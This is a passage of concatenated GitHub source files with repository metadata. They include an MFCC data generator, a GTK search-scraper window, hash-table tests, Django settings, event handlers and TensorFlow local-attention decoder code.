samples.get(df_x1_c1[i].lower()) MFCCs_x1_c1 = x1_c1.get(setting[i]) x1_c1s.append(MFCCs_c1) x1_v = samples.get(df_x1_v[i].lower()) MFCCs_x1_v = x1_v.get(setting[i]) x1_vs.append(MFCCs_x1_v) x1_c2 = samples.get(df_x1_c2[i].lower()) MFCCs_x1_c2 = x1_c2.get(setting[i]) x1_c2s.append(MFCCs_c2) x2_c1 = samples.get(df_x2_c1[i].lower()) MFCCs_x2_c1 = x2_c1.get(setting[i]) x2_c1s.append(MFCCs_c1) x2_v = samples.get(df_x2_v[i].lower()) MFCCs_x2_v = x2_v.get(setting[i]) x2_vs.append(MFCCs_x2_v) x2_c2 = samples.get(df_x2_c2[i].lower()) MFCCs_x2_c2 = x2_c2.get(setting[i]) x2_c2s.append(MFCCs_c2) y = df_y[i] s = setting[i] ys.append([y,s]) x1_c1s = np.array(x1_c1s) x1_vs = np.array(x1_vs) x1_c2s = np.array(x1_c2s) x2_c1s = np.array(x2_c1s) x2_vs = np.array(x2_vs) x2_c2s = np.array(x2_c2s) X_x1 = np.column_stack((x1_c1s,x1_vs,x1_c2s)) X_x2 = np.column_stack((x2_c1s,x2_vs,x2_c2s)) X = np.column_stack(X_x1,X_x2) y = np.array(ys) #example: ['1' 'ADS'] labels = ['e','i','o','u','b','d','p','f','s','z','v','f'] labels = np.array(labels) np.savez(output, X=X, y = y, labels = labels) def generate_train(df_train, estimates, nsamples, output, mean_dispersal_factor=1, cov_shrink_factor=0, verbose=False): with verb_print('transforming distributions', verbose=verbose): estimates = transform_estimates(estimates, mean_dispersal_factor, cov_shrink_factor) """ z': {'ADS': <scipy.stats._multivariate.multivariate_normal_frozen object at 0x1069e60d0>, 'IDS': <scipy.stats._multivariate.multivariate_normal_frozen object at 0x1069e6150>} 54 ZUN-ADS Z U N ADS 55 ZUR-ADS Z U R ADS 56 PEM-ADS P E M ADS 57 PEL-ADS P E L ADS """ samples = resample(estimates, nsamples) df_c1 = df_train['c1'].values df_v = df_train['v'].values df_c2 = df_train['c2'].values setting = df_train['setting'].values c1s = [] vs = [] c2s = [] ys = [] #print samples for i in range(len(df_c1)): c1 = samples.get(df_c1[i].lower()) MFCCs_c1 = c1.get(setting[i]) c1s.append(MFCCs_c1) v = samples.get(df_v[i].lower()) MFCCs_v = v.get(setting[i]) vs.append(MFCCs_v) c2 = samples.get(df_c2[i].lower()) MFCCs_c2 = c2.get(setting[i]) c2s.append(MFCCs_c2) y = [df_c1[i].lower(),df_v[i].lower(),df_c2[i].lower()] s = setting[i] ys.append([y,s]) c1s = np.array(c1s) vs = np.array(vs) c2s = np.array(c2s) X = np.column_stack((c1s,vs,c2s)) y = np.array(ys) #example: [['d', 'o', 'n'] 'ADS'] labels = ['e','i','o','u','b','d','p','f','s','z','v','f'] labels = np.array(labels) np.savez(output, X=X, y = y, labels = labels) def load_estimates(fname): with open(fname, 'rb') as fin: e = pickle.load(fin) return e def train_data(dir,estimates,output_dir): header = ['stimulus'] counter = 1 for condition in glob.iglob(path.join(dir, '*.csv')): df_train = pd.read_csv(condition, names= header) stimulus = df_train['stimulus'].values c1 = [] v = [] c2 = [] setting = [] for stim in stimulus: c1.append(stim[0]) v.append (stim[1]) c2.append(stim[2]) setting.append(stim[4:7]) c1 = np.array(c1) v = np.array(v) c2 = np.array(c2) setting = np.array(setting) df_train['c1'] = c1 df_train['v'] = v df_train['c2'] = c2 df_train['setting'] = setting output = output_dir + 'train_condition' + str(counter) counter = counter + 1 generate_train(df_train,estimates,nsamples, output, mean_dispersal_factor=1, cov_shrink_factor=0,verbose=False) def test_data(dir,estimates,output_dir): counter = 1 for condition in glob.iglob(path.join(dir, '*.csv')): df_test = pd.read_csv(condition, names= ['x1','x2','y','setting']) x1 = df_test['x1'].values x2 = df_test['x2'].values x1_c1 = [] x1_v = [] x1_c2 = [] s = [] for stim in x1: x1_c1.append(stim[0]) x1_v.append (stim[1]) x1_c2.append(stim[2]) s.append(stim[4:7]) x2_c1 = [] x2_v = [] x2_c2 = [] for stim in x2: x2_c1.append(stim[0]) x2_v.append (stim[1]) x2_c2.append(stim[2]) x1_c1 = np.array(x1_c1) x1_v = np.array(x1_v) x1_c2 = np.array(x1_c2) x2_c1 = np.array(x2_c1) x2_v = np.array(x2_v) x2_c2 = np.array(x2_c2) df_test['x1_c1'] = x1_c1 df_test['x1_v'] = x1_v df_test['x1_c2'] = x1_c2 df_test['x2_c1'] = x2_c1 df_test['x2_v'] = x2_v df_test['x2_c2'] = x2_c2 df_test['setting'] = s output = output_dir + 'test_condition' + str(counter) counter = counter + 1 generate_test(df_test,estimates,nsamples, output, mean_dispersal_factor=1, cov_shrink_factor=0,verbose=False) if __name__ == '__main__': nsamples = 1000 input_fname = '/Users/ingeborg/Desktop/estimates.pkl' shrink = 0 dispersal = 1 train_stimulus_dir = '/Users/ingeborg/phonrulemodel/conditions/train' test_stimulus_dir = '/Users/ingeborg/phonrulemodel/conditions/test' output_dir = '/Users/ingeborg/Desktop/' estimates = load_estimates(input_fname) train_data(train_stimulus_dir,estimates, output_dir) test_data(test_stimulus_dir,estimates, output_dir)
[ "ingeborg.roete@gmail.com" ]
ingeborg.roete@gmail.com
c73c084c3cb10cd9b273a4f306578ad0d671c470
6c016f5c52613039764b3cecdd0b786a6da08955
/gui/main_window.py
b13994e9c3f56eff77253ed4f836f00381e1f8a8
[]
no_license
spinny/ggscraper
d77ec39a24fc2fd9c92166b7af2c08c2662afe33
ff024ea97e0b57817f8ad1b0edfc19f2692068d3
refs/heads/master
2021-01-19T20:16:18.495353
2013-08-13T21:18:59
2013-08-13T21:18:59
2,508,547
0
0
null
null
null
null
UTF-8
Python
false
false
4,163
py
#!/usr/bin/env python ## -*- coding: UTF -*- import gtk import google from tabs.scrape import ScrapeTab from tabs.domains import DomainsTab from tabs.filetypes import FiletypesTab from tabs.files import FilesTab from tabs.all import AllTab class MainNotebook(gtk.Notebook): def __init__(self): super(MainNotebook, self).__init__() self.tab_scrape = ScrapeTab() self.tab_scrape.show() l = gtk.Label("Scrape") self.append_page(self.tab_scrape, l) self.tab_domains = DomainsTab() self.tab_domains.show() l = gtk.Label("Domains") self.append_page(self.tab_domains, l) self.tab_filetypes = FiletypesTab() self.tab_filetypes.show() l = gtk.Label("Filetypes") self.append_page(self.tab_filetypes, l) self.tab_files = FilesTab() self.tab_files.show() l = gtk.Label("Files") self.append_page(self.tab_files, l) self.tab_all = AllTab() self.tab_all.show() l = gtk.Label("All") self.append_page(self.tab_all, l) class MainWindow(gtk.Window): def __build_menu__(self, root, items): for i in items: if not i["label"]: t = gtk.SeparatorMenuItem() t.show() root.append(t) else: t = gtk.MenuItem() t.set_use_underline(True) t.set_label(i["label"]) t.show() if "connect" in i: t.connect(*i["connect"]) if "accel" in i: key, mod = gtk.accelerator_parse(i["accel"]) t.add_accelerator("activate", self.accel_group, key, mod, gtk.ACCEL_VISIBLE) if "sub" in i: tt = gtk.Menu() tt.show() self.__build_menu__(tt, i["sub"]) t.set_submenu(tt) root.append(t) def __init__(self): super(MainWindow, self).__init__() # set window properties self.set_title("GTK Google Scraper") self.set_position(gtk.WIN_POS_CENTER) scr = self.get_screen() self.set_default_size(int(scr.get_width() * 0.8), int(scr.get_height() * 0.8)) # add accelerator group self.accel_group = gtk.AccelGroup() self.add_accel_group(self.accel_group) # build menu bar self.mnu_main = gtk.MenuBar() self.mnu_main.show() self.__build_menu__(self.mnu_main, [ {"label":"_File", "sub":[ { "label":"_New", "connect":("activate", self.__mnu_main_new__), "accel":"<Control>N" }, {"label":None}, { "label":"_Save", "connect":("activate", self.__mnu_main_save__), "accel":"<Control>S" }, { "label":"Save _As", "connect":("activate", self.__mnu_main_save_as__), "accel":"<Control>E" }, { "label":"_Open", "connect":("activate", self.__mnu_main_open__), "accel":"<Control>O" }, {"label":None}, { "label":"_Quit", "connect":("activate", self.__win_main_on_delete_event__), "accel":"<Control>Q" } ]} ]) # build notebook self.notebook = MainNotebook() self.notebook.show() # build status bar self.status_bar = gtk.Statusbar() self.status_bar.show() # main VBox vb = gtk.VBox() vb.pack_start(self.mnu_main, False, False, 2) vb.pack_start(self.notebook, True, True, 2) vb.pack_end(self.status_bar, False, False, 2) vb.show() self.add(vb) # set google preferences self.notebook.tab_scrape.webview.load_uri("http://www.google.com/ncr")
[ "spinny666@gmail.com" ]
spinny666@gmail.com
65448ca89f8d0e2ac0da8300625a2441110c79ab
82d5744e038f914c7832775989dd8b25224d6e91
/_41.py
efc538881b2e8fdb652e312dd8e58febc0bf7c9f
[]
no_license
ProgrammAbelSchool/Programming-Challenges
1743f19c88f360931823df9e8066a7e82978ff09
d72a19f79e3892ce1f9be9c83b397c18de8e0234
refs/heads/master
2023-02-26T03:18:52.086242
2021-02-03T14:33:01
2021-02-03T14:33:01
315,135,657
0
0
null
null
null
null
UTF-8
Python
false
false
193
py
name = input("enter your name: ") number = int(input("enter a number: ")) if number < 10: for i in range(number): print(name) else: for i in range(3): print("Too high")
[ "binoop-a17@boswells-school.com" ]
binoop-a17@boswells-school.com
546c7504739979a6fadddacfd941a5bee6fc2d0e
c617129d66a8728601794e6069b71259e58c86b2
/test/test_hash_table_separate_chaning.py
0ae1a92dc336074aac5b1c2b6ee9e45ef00929d5
[]
no_license
tcongg/data-structures-and-algorithms
de5fd13a8c1a05bb7813f9d00c76f6226d8285a0
6b3ef0b8ccc39a2633a03a8feaeccd0c425f4a92
refs/heads/master
2020-04-22T20:32:16.634974
2019-03-05T12:52:52
2019-03-05T12:52:52
170,486,025
0
0
null
null
null
null
UTF-8
Python
false
false
1,347
py
import unittest from hash_table_separate_chaning import HashTable class TestHashTable(unittest.TestCase): def test_add(self): table = HashTable(7) table.add(1, 1) self.assertEqual(table.get(1), 1) table.add(2, 2) table.add(3, 3) self.assertEqual(table.get(2), 2) self.assertEqual(table.get(3), 3) def test_get(self): table = HashTable(7) self.assertEqual(table.get(100), None) table.add(1, 1) self.assertEqual(table.get(1), 1) table.add(2, 2) table.add(3, 3) self.assertEqual(table.get(2), 2) self.assertEqual(table.get(3), 3) def test_exists(self): table = HashTable(7) self.assertFalse(table.exists(1111)) table.add(1, 99) self.assertTrue(1) def test_remove(self): table = HashTable(7) table.add(1, 1) table.add(2, 2) table.add(3, 3) table.add(8, 99) table.add(16, 88) table.remove(1) self.assertEqual(table.get(1), None) table.remove(2) self.assertEqual(table.get(2), None) table.remove(3) self.assertEqual(table.get(3), None) table.remove(16) self.assertEqual(table.get(16), None) table.remove(8) self.assertEqual(table.get(8), None)
[ "noreply@github.com" ]
tcongg.noreply@github.com
fd26a03d00d4f842d49979c205418dd51a5c755a
274211f77fc9699b19ed70c8d3deca5017c76889
/navec/train/ctl/quantize.py
02052beb23dc2421402266e48b0bf5764b05d162
[]
no_license
EruditePanda/navec
347bf3f6b47caa534a855bffd38cefa2868f4bf0
92985269f58d8cd18ebb6ccf71234349fcc3690f
refs/heads/master
2020-06-03T19:34:56.800023
2019-06-12T09:31:20
2019-06-12T09:31:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
720
py
from navec.pq import quantize as quantize__ from navec.vocab import Vocab from navec import Navec from ..glove import parse_glove_emb from ..log import log_info def quantize(args): quantize_(args.emb, args.output, args.subdim, args.sample, args.iterations) def quantize_(emb, output, subdim, sample, iterations): with open(emb) as file: log_info('Load %s', emb) words, weights = parse_glove_emb(file) log_info( 'PQ, subdim: %d, sample: %d, iterations: %d', subdim, sample, iterations ) pq = quantize__(weights, subdim, sample, iterations) vocab = Vocab(words) log_info('Dump %s', output) Navec(vocab, pq).dump(output)
[ "alex@alexkuk.ru" ]
alex@alexkuk.ru
2ba1670f3851c924b251dfce026d182554ea1dfd
e3524ac37416d723901c41d1df873df1fda93d3d
/books/migrations/0001_initial.py
7504204e860a161a78266f9511c63c390ef9087f
[]
no_license
rwajon/python-graphql
82e942bc5dc809e0251be93ab41ca7a49b62e9a8
87ecfd71493dc2edaf549fb7c3efe94e323a745e
refs/heads/develop
2022-05-10T16:03:31.850669
2019-10-09T15:51:38
2019-10-09T15:51:38
213,409,049
1
0
null
2022-04-22T22:25:56
2019-10-07T14:42:29
Python
UTF-8
Python
false
false
873
py
# Generated by Django 2.2.6 on 2019-10-07 15:20 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('authors', '0001_initial'), ] operations = [ migrations.CreateModel( name='Book', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100)), ('synopsis', models.TextField()), ('published_date', models.DateField()), ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='books', to='authors.Author')), ], options={ 'ordering': ('title',), }, ), ]
[ "jonathanrwabahizi@gmai.com" ]
jonathanrwabahizi@gmai.com
42b69a10939d1b711c024f3cd5df47f4c4840fee
af4abf0a22db1cebae466c56b45da2f36f02f323
/parser/team07/Proyecto/clasesAbstractas/select_query.py
93f098d149c2b574891d5d6f72d450da3592e61d
[ "MIT" ]
permissive
joorgej/tytus
0c29408c09a021781bd3087f419420a62194d726
004efe1d73b58b4b8168f32e01b17d7d8a333a69
refs/heads/main
2023-02-17T14:00:00.571200
2021-01-09T00:48:47
2021-01-09T00:48:47
322,429,634
3
0
MIT
2021-01-09T00:40:50
2020-12-17T22:40:05
Python
UTF-8
Python
false
false
604
py
from .instruccionAbstracta import InstruccionAbstracta class select_query(InstruccionAbstracta): '''Esta es la instruccion general de un query que puede unir varios select esta tiene los 2 querys que se unen y el tipo de union''' def __init__(self, query1, query2, tipoUnion): self.query1 = query1 self.query2 = query2 self.tipoUnion = tipoUnion def ejecutar(self, tabalSimbolos, listaErrores): if self.query2 is None: self.query1.ejecutar(tabalSimbolos, listaErrores) else: print("Vienen 2 querys") pass
[ "carloscante@gmail.com" ]
carloscante@gmail.com
472cc265eb8efba7a97821c1b47be51224d34724
94cb9dcbac4c35a30b684de3338ac31ed9fd5165
/backend/healthiswealth_28409/settings.py
623002b24c290293a28f4cbf5f527f04ed9f2eab
[]
no_license
crowdbotics-apps/healthiswealth-28409
64b410d10e6faf5540402b7b59897d583cd8201d
abe1e12bb5f06ea6f2dddcdf73a1d08115b073f9
refs/heads/master
2023-06-14T10:30:40.144603
2021-07-03T09:57:58
2021-07-03T09:57:58
382,580,789
0
0
null
null
null
null
UTF-8
Python
false
false
7,244
py
""" Django settings for healthiswealth_28409 project. Generated by 'django-admin startproject' using Django 2.2.2. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os import environ import logging env = environ.Env() # SECURITY WARNING: don't run with debug turned on in production! DEBUG = env.bool("DEBUG", default=False) # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = env.str("SECRET_KEY") ALLOWED_HOSTS = env.list("HOST", default=["*"]) SITE_ID = 1 SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") SECURE_SSL_REDIRECT = env.bool("SECURE_REDIRECT", default=False) # Application definition INSTALLED_APPS = [ "django.contrib.admin", "django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.messages", "django.contrib.staticfiles", "django.contrib.sites", "task_category", "task", "wallet", "task_profile", "location", "tasker_business", ] LOCAL_APPS = [ "home", "modules", "users.apps.UsersConfig", ] THIRD_PARTY_APPS = [ "rest_framework", "rest_framework.authtoken", "rest_auth", "rest_auth.registration", "bootstrap4", "allauth", "allauth.account", "allauth.socialaccount", "allauth.socialaccount.providers.google", "django_extensions", "drf_yasg", "storages", # start fcm_django push notifications "fcm_django", # end fcm_django push notifications ] INSTALLED_APPS += LOCAL_APPS + THIRD_PARTY_APPS MIDDLEWARE = [ "django.middleware.security.SecurityMiddleware", "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.common.CommonMiddleware", "django.middleware.csrf.CsrfViewMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware", "django.contrib.messages.middleware.MessageMiddleware", "django.middleware.clickjacking.XFrameOptionsMiddleware", ] ROOT_URLCONF = "healthiswealth_28409.urls" TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", "DIRS": [os.path.join(BASE_DIR, "web_build")], "APP_DIRS": True, "OPTIONS": { "context_processors": [ "django.template.context_processors.debug", "django.template.context_processors.request", "django.contrib.auth.context_processors.auth", "django.contrib.messages.context_processors.messages", ], }, }, ] WSGI_APPLICATION = "healthiswealth_28409.wsgi.application" # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { "default": { "ENGINE": "django.db.backends.sqlite3", "NAME": os.path.join(BASE_DIR, "db.sqlite3"), } } if env.str("DATABASE_URL", default=None): DATABASES = {"default": env.db()} # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", }, { "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", }, { "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", }, { "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = "en-us" TIME_ZONE = "UTC" USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = "/static/" MIDDLEWARE += ["whitenoise.middleware.WhiteNoiseMiddleware"] AUTHENTICATION_BACKENDS = ( "django.contrib.auth.backends.ModelBackend", "allauth.account.auth_backends.AuthenticationBackend", ) STATIC_ROOT = os.path.join(BASE_DIR, "staticfiles") STATICFILES_DIRS = [ os.path.join(BASE_DIR, "static"), os.path.join(BASE_DIR, "web_build/static"), ] STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" # allauth / users ACCOUNT_EMAIL_REQUIRED = True ACCOUNT_AUTHENTICATION_METHOD = "email" ACCOUNT_USERNAME_REQUIRED = False ACCOUNT_EMAIL_VERIFICATION = "optional" ACCOUNT_CONFIRM_EMAIL_ON_GET = True ACCOUNT_LOGIN_ON_EMAIL_CONFIRMATION = True ACCOUNT_UNIQUE_EMAIL = True LOGIN_REDIRECT_URL = "users:redirect" ACCOUNT_ADAPTER = "users.adapters.AccountAdapter" SOCIALACCOUNT_ADAPTER = "users.adapters.SocialAccountAdapter" ACCOUNT_ALLOW_REGISTRATION = env.bool("ACCOUNT_ALLOW_REGISTRATION", True) SOCIALACCOUNT_ALLOW_REGISTRATION = env.bool("SOCIALACCOUNT_ALLOW_REGISTRATION", True) REST_AUTH_SERIALIZERS = { # Replace password reset serializer to fix 500 error "PASSWORD_RESET_SERIALIZER": "home.api.v1.serializers.PasswordSerializer", } REST_AUTH_REGISTER_SERIALIZERS = { # Use custom serializer that has no username and matches web signup "REGISTER_SERIALIZER": "home.api.v1.serializers.SignupSerializer", } # Custom user model AUTH_USER_MODEL = "users.User" EMAIL_HOST = env.str("EMAIL_HOST", "smtp.sendgrid.net") EMAIL_HOST_USER = env.str("SENDGRID_USERNAME", "") EMAIL_HOST_PASSWORD = env.str("SENDGRID_PASSWORD", "") EMAIL_PORT = 587 EMAIL_USE_TLS = True # AWS S3 config AWS_ACCESS_KEY_ID = env.str("AWS_ACCESS_KEY_ID", "") AWS_SECRET_ACCESS_KEY = env.str("AWS_SECRET_ACCESS_KEY", "") AWS_STORAGE_BUCKET_NAME = env.str("AWS_STORAGE_BUCKET_NAME", "") AWS_STORAGE_REGION = env.str("AWS_STORAGE_REGION", "") USE_S3 = ( AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY and AWS_STORAGE_BUCKET_NAME and AWS_STORAGE_REGION ) if USE_S3: AWS_S3_CUSTOM_DOMAIN = env.str("AWS_S3_CUSTOM_DOMAIN", "") AWS_S3_OBJECT_PARAMETERS = {"CacheControl": "max-age=86400"} AWS_DEFAULT_ACL = env.str("AWS_DEFAULT_ACL", "public-read") AWS_MEDIA_LOCATION = env.str("AWS_MEDIA_LOCATION", "media") AWS_AUTO_CREATE_BUCKET = env.bool("AWS_AUTO_CREATE_BUCKET", True) DEFAULT_FILE_STORAGE = env.str( "DEFAULT_FILE_STORAGE", "home.storage_backends.MediaStorage" ) MEDIA_URL = "/mediafiles/" MEDIA_ROOT = os.path.join(BASE_DIR, "mediafiles") # start fcm_django push notifications FCM_DJANGO_SETTINGS = {"FCM_SERVER_KEY": env.str("FCM_SERVER_KEY", "")} # end fcm_django push notifications # Swagger settings for api docs SWAGGER_SETTINGS = { "DEFAULT_INFO": f"{ROOT_URLCONF}.api_info", } if DEBUG or not (EMAIL_HOST_USER and EMAIL_HOST_PASSWORD): # output email to console instead of sending if not DEBUG: logging.warning( "You should setup `SENDGRID_USERNAME` and `SENDGRID_PASSWORD` env vars to send emails." ) EMAIL_BACKEND = "django.core.mail.backends.console.EmailBackend"
[ "team@crowdbotics.com" ]
team@crowdbotics.com
67c9080a7f9ac9b40d314c9bcf57e801dc181277
df917d838b85ec6cd7b6fda56176a0403fa88f3d
/e2e_test/app/components/event/event_handler.py
2773e8feff3e1f3c826964ffa03d687cf58adcab
[ "MIT" ]
permissive
jivago-python/jivago
ea3b50dad3eab7cebaffff2b2e9d9a911ee31bc0
8c8c72e179899357f80b91ae7454f638a0225d1c
refs/heads/master
2021-07-04T07:33:46.836249
2019-11-18T17:00:09
2019-11-18T17:00:09
173,117,930
0
0
null
2019-02-28T13:33:45
2019-02-28T13:33:44
null
UTF-8
Python
false
false
950
py
import anachronos from anachronos import Anachronos from e2e_test.testing_messages import RUNNABLE_EVENT_HANDLER, INSTANTIATED_EVENT_HANDLER, FUNCTION_EVENT_HANDLER from jivago.event.config.annotations import EventHandler, EventHandlerClass from jivago.lang.annotations import Override, Inject from jivago.lang.runnable import Runnable @EventHandler("event") class MyHandler(Runnable): @Inject def __init__(self, anachronos: Anachronos): self.anachronos = anachronos @Override def run(self): self.anachronos.store(RUNNABLE_EVENT_HANDLER) @EventHandlerClass class MyHandlerClass(object): @Inject def __init__(self, anachronos: Anachronos): self.anachronos = anachronos @EventHandler("event") def handle(self): self.anachronos.store(INSTANTIATED_EVENT_HANDLER) @EventHandler("event") def my_event_handler_function(): anachronos.get_instance().store(FUNCTION_EVENT_HANDLER)
[ "kento.lauzon@ligature.ca" ]
kento.lauzon@ligature.ca
f3e0a1ee0c51c30c907d6fbca3bac49e77f2e626
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2969/60796/287884.py
5d7f6824025a8984ecb4a4c0e69f947082fe52de
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
177
py
s=input() result=[] for i in range(1,len(s)): if s[i]<=s[i-1]: result.append(i) result.append(len(s)) for i in range(len(result)): print(result[i],end=' ')
[ "1069583789@qq.com" ]
1069583789@qq.com
4baeb8c8d4d436eae9f7b82b7561636213a44f9c
6c040af1e37fa45735e0704d779425f36ab9cba3
/usr_dir/grid_decoders.py
8945a004f3ec0f021f69a72fb33216370225c9b2
[]
no_license
SegwangKim/neural-seq2grid-module
86eadf836663c2f654153c8036bbcfa2dad33776
6d2f34824af901850ede61a5c86f3da8a8fd990f
refs/heads/main
2023-02-16T15:53:24.190202
2021-01-15T08:40:40
2021-01-15T08:40:40
323,207,737
6
2
null
null
null
null
UTF-8
Python
false
false
12,899
py
from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf from tensor2tensor.layers import common_layers from tensor2tensor.models import resnet def dot_product_local_atten_2d(grid_structured, weight_q, weight_k, weight_v, rel_pos_embs): _, num_stacks, stack_size, hidden_size = common_layers.shape_list(grid_structured) grid_q = tf.nn.conv2d(grid_structured, weight_q, strides=[1, 1, 1, 1], padding='VALID') grid_k = tf.nn.conv2d(grid_structured, weight_k, strides=[1, 1, 1, 1], padding='VALID') grid_v = tf.nn.conv2d(grid_structured, weight_v, strides=[1, 1, 1, 1], padding='VALID') def translate_grid(grid_structured, row_offset, col_offset, constant_values=0): padded_grid = tf.pad(grid_structured, [[0, 0], col_offset, row_offset, [0, 0]], constant_values=constant_values) padded_grid = padded_grid[:, col_offset[1]:col_offset[1]+num_stacks, row_offset[1]:row_offset[1]+stack_size, :] return padded_grid def get_bias(grid_structured, row_offset, col_offset): return translate_grid(tf.zeros_like(grid_structured), row_offset, col_offset, constant_values=-100000) padded_grid_qks = [] padded_grid_vs = [] for r, row_offset in enumerate([[1, 0], [0, 0], [0, 1]]): for c, col_offset in enumerate([[1, 0], [0, 0], [0, 1]]): extended_padded_grid_v = tf.expand_dims(translate_grid(grid_v, row_offset, col_offset), axis=-1) padded_grid_vs.append(extended_padded_grid_v) # [b, n, s, h, 1] padded_grid_k = translate_grid(grid_k, row_offset, col_offset) padded_grid_qk = tf.reduce_sum(grid_q * padded_grid_k, axis=-1, keep_dims=True) # [b, n, s, 1] padded_grid_qk /= tf.math.sqrt(tf.cast(hidden_size, tf.float32)) # relative position embedding padded_grid_qk += tf.nn.conv2d(grid_q, rel_pos_embs[r*3+c], strides=[1, 1, 1, 1], padding='VALID') # masking interactions happened beyond the grid bias = get_bias(padded_grid_qk, row_offset, col_offset) bias = tf.identity(bias, f"bias_{r}{c}") padded_grid_qk += bias padded_grid_qks.append(padded_grid_qk) padded_grid_qks = tf.concat(padded_grid_qks, axis=-1) # [batch_size, num_stacks, stack_size, 9] padded_grid_qks = tf.nn.softmax(padded_grid_qks, axis=-1) padded_grid_qks = tf.identity(padded_grid_qks, "padded_grid_qks_probs") padded_grid_vs = tf.concat(padded_grid_vs, axis=-1) # [batch_size, num_stacks, stack_size, hidden_size, 9] self_atten_res = tf.einsum("bnsl, bnshl -> bnsh", padded_grid_qks, padded_grid_vs) return self_atten_res def prepare_local_weights(hp): hidden_size = hp.hidden_size weight_q = tf.get_variable("w_q", shape=[1, 1, hidden_size, hidden_size], dtype=tf.float32) weight_k = tf.get_variable("w_k", shape=[1, 1, hidden_size, hidden_size], dtype=tf.float32) weight_v = tf.get_variable("w_v", shape=[1, 1, hidden_size, hidden_size], dtype=tf.float32) rel_row_pos_embs = [] rel_col_pos_embs = [] for r in range(-1, 2, 1): rel_row_pos_embs.append(tf.get_variable(f"rel_row_pos_emb_{r}", shape=[1, 1, hidden_size//2, 1], dtype=tf.float32)) rel_col_pos_embs.append(tf.get_variable(f"rel_col_pos_emb_{r}", shape=[1, 1, hidden_size//2, 1], dtype=tf.float32)) rel_pos_embs = [] for r, row_offset in enumerate([[1, 0], [0, 0], [0, 1]]): for c, col_offset in enumerate([[1, 0], [0, 0], [0, 1]]): rel_pos_embs.append(tf.concat([rel_row_pos_embs[r], rel_col_pos_embs[c]], axis=-2)) return weight_q, weight_k, weight_v, rel_pos_embs def local_self_attention(grid_structured, hp, name=""): with tf.variable_scope(name): weight_q, weight_k, weight_v, rel_pos_embs = prepare_local_weights(hp) dot_product_res = dot_product_local_atten_2d(grid_structured, weight_q, weight_k, weight_v, rel_pos_embs) return dot_product_res def bottleneck_tlsa_block(grid_structured, hp): data_format = "channels_last" is_training = hp.mode == tf.estimator.ModeKeys.TRAIN hidden_size_base = hp.hidden_size filters_out = 4 * hidden_size_base def projection_shortcut(inputs): inputs = resnet.conv2d_fixed_padding(inputs, filters_out, kernel_size=1, data_format=data_format, strides=1, is_training=is_training) return resnet.batch_norm_relu(inputs, is_training, relu=False, data_format=data_format) residual = projection_shortcut(grid_structured) inputs = resnet.conv2d_fixed_padding( inputs=grid_structured, filters=hidden_size_base, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = local_self_attention(inputs, hp, name="tlsa") inputs = resnet.batch_norm_relu(inputs, is_training, data_format=data_format) inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=filters_out, kernel_size=1, strides=1, data_format=data_format, is_training=is_training) inputs = resnet.batch_norm_relu( inputs, is_training, relu=False, init_zero=False, data_format=data_format) return tf.nn.relu(inputs + residual) def bottleneck_resnet_block_downsample(grid_structured, hp): data_format = "channels_last" is_training = hp.mode == tf.estimator.ModeKeys.TRAIN hidden_size_base = hp.hidden_size filters_out = 4 * hidden_size_base strides = 2 # downsample use_td = hp.use_td targeting_rate = hp.targeting_rate keep_prob = hp.keep_prob def projection_shortcut(inputs): """Project identity branch.""" inputs = resnet.conv2d_fixed_padding( inputs=inputs, filters=filters_out, kernel_size=1, strides=strides, data_format=data_format, use_td=use_td, targeting_rate=targeting_rate, keep_prob=keep_prob, is_training=is_training) return resnet.batch_norm_relu(inputs, is_training, relu=False, data_format=data_format) # Only the first block per block_layer uses projection_shortcut and strides inputs = resnet.bottleneck_block( grid_structured, hidden_size_base, is_training, projection_shortcut, strides, False, data_format, use_td=use_td, targeting_rate=targeting_rate, keep_prob=keep_prob) return inputs def bottleneck_resnet_block_1d(grid_structured, hp): data_format = "channels_last" is_training = hp.mode == tf.estimator.ModeKeys.TRAIN hidden_size_base = hp.hidden_size filters_out = 4 * hidden_size_base def projection_shortcut(inputs): inputs = resnet.conv2d_fixed_padding(inputs, filters_out, kernel_size=1, data_format=data_format, strides=1, is_training=is_training) return 